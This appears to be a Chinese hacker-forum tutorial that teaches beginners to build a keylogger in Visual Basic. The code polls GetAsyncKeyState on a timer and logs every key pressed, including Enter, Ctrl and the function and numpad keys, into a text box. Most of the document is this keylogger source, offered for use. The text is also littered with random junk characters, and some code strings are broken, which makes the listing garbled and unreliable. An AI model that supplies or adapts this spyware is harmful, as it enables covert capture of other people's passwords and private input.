手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ # q. E$ C, j( y, Z. u4 ]' z Y. {% }这个程序将会详细的讲解如何记载键盘的每一次输入。 ) v# w! k2 }2 [( n0 z- C9 W D下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 3 T) p# e$ }* }, T: x' Q: S: RGetAsyncKeyState函数根据虚拟键表判断按键的类型。 8 f# S$ u+ ?2 @5 \6 ~返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer ! t& a; r/ `2 D% V. @好了，函数就先介绍这么多，下面开始动手实战了 1 j6 s$ l# A: m H' A0 [first,当然是创建窗口了 3 d ~/ u& m* c( S2 d ) R- q2 V6 w( k4 e8 X 4 y2 c- Q H) A 0 R' S- T- `' K/ Y& n 8 d' A9 A0 f9 e7 C S2 e在时间控件的Timer时间中定义检查按键类型，代码如下： 1 G# R5 z2 A9 N) WDim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" . t }2 I: h% Z( e0 @# N! s1 E9 Z GoTo KeyFound , B) e; e% T! Q+ @ End If / W6 s( m4 g; G* B! N7 l1 y9 l KeyResult = GetAsyncKeyState(17) 'Ctrl键 / t: j0 ]: M% V If KeyResult = -32767 Then ) [) z' A6 R: M# |/ t AddKey = "[CTRL]" 2 k9 @+ x! P" S0 `- a `3 u8 P6 k) { GoTo KeyFound i' T/ w% Z0 k5 C% ]; d End If KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then AddKey = "[BKSPACE]" & ?3 P% o& w* L) B+ K GoTo KeyFound End If 5 q/ S. q5 D; `6 ?9 B2 J) X KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = "[TAB]" ) b' S% {, p% H GoTo KeyFound End If 5 h7 h0 b k% W) o KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound 1 d% S {6 h, m# z# I4 s End If KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then . S0 O* m' k) }5 n* B AddKey = "[PAUSE]" . s0 h! D0 r8 Z$ ?9 ^3 a GoTo KeyFound : |1 B) ^! r2 d& g End If ; @4 k! T0 Z; A' X4 S+ P( E9 L6 G KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = "[CAPS]" ) @5 ?6 K# s, A GoTo KeyFound 2 Q& D5 v/ a" J' T: @ End If % g G+ m7 I% N0 x KeyResult = GetAsyncKeyState(27) & L0 U8 h. t2 @( ~3 F If KeyResult = -32767 Then + K8 O) F* l$ l3 ~/ X5 z' i AddKey = "[ESC]" 5 Y: M2 A @5 @& { GoTo KeyFound End If * @, O$ [% d! q7 Y KeyResult = GetAsyncKeyState(33) 5 j6 r9 n+ u6 t1 o If KeyResult = -32767 Then AddKey = "[PGUP]" # A7 b: L# L! @0 ~+ y* D! |9 g GoTo KeyFound & B' P: n2 u/ K3 `6 E8 D4 U5 ~ End If KeyResult = GetAsyncKeyState(34) F- [5 ]" c0 \8 K If KeyResult = -32767 Then ; G# @. X) w" d+ a4 ?( d AddKey = "[PGDN]" GoTo KeyFound 7 S; E: z8 e0 t End If + z/ M8 A/ {; S; L' O + b( g. W& {1 T% Z' o a; u$ I' N KeyResult = GetAsyncKeyState(35) # A8 l: Z5 g( _" ?: m If KeyResult = -32767 Then 3 k( u/ K" K# h; E9 J2 h1 h9 w AddKey = "[END]" GoTo KeyFound End If 6 {) {8 |. f! x/ s f KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then ) B6 I* j! i9 E( |1 ~3 |& X0 ~ AddKey = "[HOME]" GoTo KeyFound & E+ f. z( s( a" ^* h# J/ S. O# E End If 2 }& B8 m3 D9 N. ^+ d( } KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound P1 _( D5 \2 x1 } End If KeyResult = GetAsyncKeyState(45) 7 g+ K4 p, x, n5 B6 y; \8 e If KeyResult = -32767 Then 6 d2 @. v0 l# i$ _/ e4 D AddKey = "[INS]" GoTo KeyFound . C) J( U6 V3 v$ I- C3 E End If 0 y" ?3 x9 Y5 |8 j% s4 o6 h KeyResult = GetAsyncKeyState(46) 1 j! y$ E# D- Z2 l) v1 t+ E If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound 8 [0 X6 f2 r6 `9 e End If 5 e+ r* M; g. _) u2 D0 ? b9 O$ B$ c+ j) O KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]" GoTo KeyFound End If ) O2 z3 a' R5 H KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then o. M. P% r$ s1 [+ b1 t+ y7 h: \4 d- q AddKey = "

" % p! f B |. \$ S5 K- A3 Z7 ?6 B GoTo KeyFound ) i' q% ~$ W" {# r0 J0 T End If $ k7 d6 r2 K+ H8 D. F: |" @6 J KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then . M, b4 \) D9 p AddKey = "[UP]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(39) % W, j) d' @: Y' i. F If KeyResult = -32767 Then ( n6 Y# w: j5 S AddKey = "

" GoTo KeyFound O% {& }+ Q$ y, x% ~" G$ b End If & f- N+ |2 n2 g: g1 Y, s KeyResult = GetAsyncKeyState(40) ; B1 @7 |5 U- U! y7 y If KeyResult = -32767 Then 4 O5 q! n2 w& Y: g3 G8 J( ^ AddKey = "[DOWN]" $ m1 {1 S! f2 u N! O5 H- t/ w; W GoTo KeyFound End If ( {* g% Y7 r) I6 I; o( r# e 6 c/ C w3 G' s& m4 oKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" 3 x5 p& e: Z$ g( V7 ] GoTo KeyFound 5 `4 p a$ ?# @7 ?# b% G End If KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" GoTo KeyFound End If 8 T( u0 L+ u) Y4 c$ N1 EKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" 2 y; e/ m& {. x GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]" ' [* N: ?! Y3 y/ m GoTo KeyFound 4 a5 @) m5 J2 X4 K9 J End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then \5 s% j, X) L. ] AddKey = "[F5]" GoTo KeyFound $ R( n6 z( Z3 V5 n0 n: ^ End If 8 y0 \, R8 [( c2 O y" c) g KeyResult = GetAsyncKeyState(117) - Z2 C+ I2 t X: t* ^. v3 l4 Q If KeyResult = -32767 Then - E- [! \, t( [3 j; x AddKey = "[F6]" GoTo KeyFound 5 I# z8 J* w: A1 _/ [ End If ' Z$ x B& @, d6 v; t- W7 | KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then ; G. B4 `% }/ O% L* _ AddKey = "[F7]" GoTo KeyFound & g+ d% s/ n4 h" q4 G End If 5 B( l$ ]; }% G1 y Z" {KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then % [: q) j$ r. G* @4 _2 Q- l3 d AddKey = "[F8]" GoTo KeyFound ) R1 E0 }0 b; J) ` End If $ s' w1 a% a+ Z E& _% v" ^5 xKeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then # l' M% K' J3 o7 P/ Y AddKey = "[F9]" 0 R0 u3 H, V) D7 q GoTo KeyFound End If KeyResult = GetAsyncKeyState(121) , v9 ?- q0 U. R If KeyResult = -32767 Then " [7 \' D8 H+ Z I2 { AddKey = "[F10]" GoTo KeyFound 5 A; w G7 b0 T( {4 h$ M! x End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then 3 Y# `- z0 q) C) q4 V' T. a/ c AddKey = "[F11]" + n9 J8 p1 D+ Y* R* D% ] GoTo KeyFound 2 G; I6 {' q4 I End If / i& X0 y8 [, M) u9 G! X+ p 6 c$ }. r0 o" ?4 {5 g8 X) h- bKeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]" ' ? H0 q9 r, r; r- n* e9 h GoTo KeyFound # f& Y4 A+ ?/ z9 a U- l End If KeyResult = GetAsyncKeyState(124) 9 L1 r9 p* e0 v8 _. V$ q/ O! F8 h If KeyResult = -32767 Then 9 y$ H* ?' w( S) r: ~7 v: S, J AddKey = "[F13]" ' e8 f7 e3 N2 E! t* a$ _0 e3 f5 [: h6 | GoTo KeyFound 3 w4 i8 S) p$ D5 U# w! [+ K End If + M' a x/ x! |0 r; |" t; m KeyResult = GetAsyncKeyState(125) # u! ]5 Z" R9 z% x V6 G If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound ( f) }( @; O3 z, d2 _6 z4 z9 ?) y9 [ End If 4 F6 z- d# \ D9 B% }- k 7 M$ i4 x' d1 @* K G: LKeyResult = GetAsyncKeyState(126) % H: C9 t. ~4 U; ^8 r If KeyResult = -32767 Then $ X- w' m6 K7 [6 g2 N% N AddKey = "[F15]" GoTo KeyFound End If 8 {3 J% d) e+ C* z" g4 }/ N 5 f: D; M/ R3 b/ ~KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" GoTo KeyFound / {+ I( g; Z' Q+ u6 @, r0 q. h! d5 \ End If KeyResult = GetAsyncKeyState(32) " o# \8 W t8 D$ i ` If KeyResult = -32767 Then AddKey = " " GoTo KeyFound * t" k$ {' {, C, h End If * K1 G6 v3 k! j; Z8 S! D : F/ t/ L' V- |+ i fKeyResult = GetAsyncKeyState(186) 2 M r; v5 [ J9 E; e' }8 G1 @3 ` If KeyResult = -32767 Then AddKey = ";" 4 b" u" b5 L3 o. @8 D GoTo KeyFound 1 X* P F' |8 j' B! h, W# v: a End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then AddKey = "=" GoTo KeyFound End If KeyResult = GetAsyncKeyState(188) # W/ c* Z+ I8 ^& g, s If KeyResult = -32767 Then " c0 d9 c5 d& E" ?/ t AddKey = "," GoTo KeyFound End If % S+ r* _5 }0 r5 N: |& V KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then 2 b5 u5 }; f# l1 h AddKey = "-" GoTo KeyFound End If # k! I( M" a2 Z e1 r ' {; }3 a4 v: ^5 z( mKeyResult = GetAsyncKeyState(190) d+ c* {3 G+ c/ \/ A, d( o5 T If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If : X5 \& K: [! O5 a1 I6 T; \ d! g! z- o7 v) r4 k* t ]KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then ' D& w+ d5 _, M9 q! @5 } AddKey = "/" '/ GoTo KeyFound 0 Y$ X# m# }/ W1 R* G, v End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` : `0 A* }* R6 h6 y GoTo KeyFound - G; r5 S8 S- o' O+ G h7 H End If 7 f# S) \7 V, ~7 j 0 C( B. Y# ~) b3 j'----------NUM PAD # _5 A- z0 [; _+ cKeyResult = GetAsyncKeyState(96) : d. G! x, t* J2 q If KeyResult = -32767 Then 9 I' l. n ^8 y# z/ ] AddKey = "0" GoTo KeyFound End If 1 ]5 q s' g7 P6 ZKeyResult = GetAsyncKeyState(97) 5 z+ _! T) x& w% h$ {+ o, v F2 N If KeyResult = -32767 Then ' b, F% U3 I. O+ ~: ]& O4 ~ AddKey = "1" GoTo KeyFound End If & h2 |4 a, t+ R9 M }7 Y: r7 q0 ~, J4 l. RKeyResult = GetAsyncKeyState(98) ! ~) a+ |. p9 b9 d( B! _- _% l If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound . a8 r3 x0 ]1 f, ~% V: } End If 2 D, |' @' z) a, G4 m/ O# v KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" 9 y3 D: Q0 S8 ?( K( P GoTo KeyFound End If & ^" H/ M8 I% D. J 3 F7 ` J/ h6 M % r- q& R& T1 |8 k& B' ~. n% N7 HKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound / r- F2 M k0 \$ k End If KeyResult = GetAsyncKeyState(101) & E1 p0 x1 q% P% h, k; t1 { If KeyResult = -32767 Then AddKey = "5" / O, }" P+ B x( ` GoTo KeyFound End If : H( e& j. R4 C7 iKeyResult = GetAsyncKeyState(102) 3 s& h6 q, Y% ^) p If KeyResult = -32767 Then $ M1 n: m, y3 M+ ~; } AddKey = "6" ! z3 z$ o3 s; R* q& D GoTo KeyFound End If 3 ?+ d) c, }9 {+ f5 O 0 O: Z& J/ \6 ^5 M+ O0 wKeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then ! y1 l, t* ^' F$ G' i* W5 C1 N AddKey = "7" GoTo KeyFound : w) l: D5 }* |7 R, g. X, ~ End If : g; U; p3 L! L) g8 | 8 Q) ?/ L- U! t1 K, q' i. n9 GKeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then % t; B3 |9 j H% c, `, N/ K AddKey = "8" GoTo KeyFound & C* m. Q. d' U8 c9 O( I" \6 ] End If 4 A6 p; }" Z p; H. _ KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" $ [4 y+ t5 r" Q/ u$ B( F/ u% x GoTo KeyFound End If 1 C* X6 [% ^. m2 L% B" f KeyResult = GetAsyncKeyState(106) 6 S. L! b* \2 ~: @2 [% j! m If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound End If 8 Z, d' ?# k( y/ I9 Q' b7 n% d1 lKeyResult = GetAsyncKeyState(107) & H, `5 s4 R1 q6 R) ] If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound End If . [9 g; G- w0 S7 V, X. [6 b) eKeyResult = GetAsyncKeyState(108) $ X$ v5 h; L+ O If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If 5 Q9 p, j- `1 V! l* R9 T, } KeyResult = GetAsyncKeyState(109) + G' M6 k. I* Q4 t: Q+ R If KeyResult = -32767 Then 5 b$ o" T; e& \5 @ AddKey = "-" - T& @' {$ \/ u GoTo KeyFound End If 8 m- Y' o! o. V' P. PKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then ! z) n. S# T6 Z1 o AddKey = "." & r: E6 b9 M6 j- | GoTo KeyFound ; ?& Q2 d7 c, W& x& ^% I/ T End If KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If : s) ? o& P+ iKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then ?2 e/ i) [4 k4 m' s AddKey = "\" 9 O2 ?3 {% L6 A- k, X. V GoTo KeyFound End If 0 d6 a' J5 ^) n6 EKeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then ' ^0 d$ R, Q$ x8 | S AddKey = "'" GoTo KeyFound End If F4 W) n: F. b. S& I& l6 B9 V KeyResult = GetAsyncKeyState(221) % H4 o( o6 G) S8 r If KeyResult = -32767 Then AddKey = "]" 9 \; A9 f8 t% x- { GoTo KeyFound End If ( L; N( d7 f6 {" ]" T. |( g- f7 k / E0 i, D7 h- h4 v- a8 t! _1 }" }$ zKeyResult = GetAsyncKeyState(219) 1 x! n) p5 t. Y0 j! l! ^ If KeyResult = -32767 Then AddKey = "[" " [7 L0 t8 y8 f GoTo KeyFound ; b( i& v# Q7 o* K5 R* g' s1 \ End If : I0 f1 J9 f4 p. | ^. M3 _& y KeyResult = GetAsyncKeyState(16) 'shift键 5 @# y3 p+ Y# `0 A$ O. {% j' \3 Q If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" LastKey = AddKey TimeOut = 1 GoTo KeyFound End If KeyLoop = 41 0 I7 c& J) i. Z! d, Z" ] Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) / f8 o* C# l+ M8 o If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) ' B# E( M9 W' ` Y8 r* W KeyLoop = KeyLoop + 1 Loop 4 m$ _/ C) d& W# F3 A LastKey = AddKey Exit Sub , o7 v: k" ~8 h4 n* aKeyFound: '显示键的信息 % l- j$ M: R/ y- ?" W1 RText1 = Text1 & AddKey End Sub , _. ^9 f; l; V7 V9 d上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 + n% V; w `9 A现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 Private Sub Timer2_Timer() TimeOut = 0 End Sub $ Q8 @1 c h" `4 `5 r目的是随时刷新清空